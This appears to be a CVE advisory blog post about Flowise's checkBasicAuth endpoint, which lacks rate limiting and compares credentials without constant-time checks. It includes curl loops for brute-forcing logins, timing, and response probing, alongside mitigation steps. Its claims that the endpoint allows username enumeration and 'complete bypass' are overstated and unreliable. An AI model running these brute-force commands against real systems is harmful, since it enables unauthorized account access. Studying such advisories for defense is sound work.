Flowise, Missing Rate Limiting & Plaintext Credential Comparison (Medium)

Listen to this Post

The vulnerability resides in the `checkBasicAuth` endpoint (packages/server/src/enterprise/controllers/account.controller.ts lines 128-135). No CVE ID has been assigned yet. The endpoint accepts a POST request with a JSON body containing `username` and `password` fields. It then directly compares these plaintext values against environment variables `FLOWISE_USERNAME` and `FLOWISE_PASSWORD` using JavaScript’s `===` operator. This operator is not constant-time, allowing potential timing attacks where an attacker can measure response latency differences to guess characters. More critically, there is no rate limiting applied to this authentication endpoint – the application’s `RateLimiterManager` only covers chatflow-specific endpoints. As a result, an attacker can send an unlimited number of login attempts in rapid succession, systematically brute‑forcing credentials. The endpoint returns distinct HTTP responses: `{ message: ‘Authentication successful’ }` on success versus `{ message: ‘Authentication failed’ }` on failure. This discrepancy enables credential enumeration, where an attacker can validate guessed usernames or passwords based on the response message. Because credentials are transmitted and compared in plaintext, any attacker with network access to the endpoint can capture or brute‑force the authentication secrets. The environment variables are often set to default or weak values in development or misconfigured production deployments, further lowering the bar for exploitation. Combined, these flaws allow complete bypass of authentication, leading to full application access.

dailycve form:

Platform: Flowise
Version: Unknown (all before patch)
Vulnerability: No rate limiting
Severity: Medium
date: 2026-05-14

Prediction: 2026-06-15

Analytics under What Undercode Say:

Simulate brute force attack using curl
for user in admin test flowise; do
for pass in password123 admin flowise; do
curl -X POST http://target.com/api/checkBasicAuth \
-H "Content-Type: application/json" \
-d "{\"username\":\"$user\",\"password\":\"$pass\"}"
done
done
Check for timing differences (basic timing attack)
time curl -X POST http://target.com/api/checkBasicAuth \
-d '{"username":"admin","password":"wrong"}' \
--trace-ascii /dev/stdout
Enumerate valid usernames by observing response message
curl -X POST http://target.com/api/checkBasicAuth \
-d '{"username":"existing","password":"any"}' | grep "Authentication failed"

Exploit:

Send unlimited POST requests to `/checkBasicAuth` with different username/password pairs. Monitor response messages – success indicates valid credentials. Use a wordlist and parallel requests to accelerate brute force. No lockout mechanism blocks the attack.

Protection from this CVE:

  1. Implement rate limiting (e.g., 5 attempts per IP per minute) on /checkBasicAuth.

2. Use constant‑time comparison (`crypto.timingSafeEqual`) instead of `===`.

  1. Store password hashes (bcrypt/argon2) and compare hashed values.
  2. Return identical generic error messages for both invalid username and password.
  3. Log all failed attempts with IP tracking and trigger alerts on high failure rates.

Impact:

Full application compromise – attacker gains authenticated access to all Flowise features, including workflow management, environment variables, and connected data sources. Leads to data exfiltration, manipulation of AI workflows, and lateral movement into backend systems.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top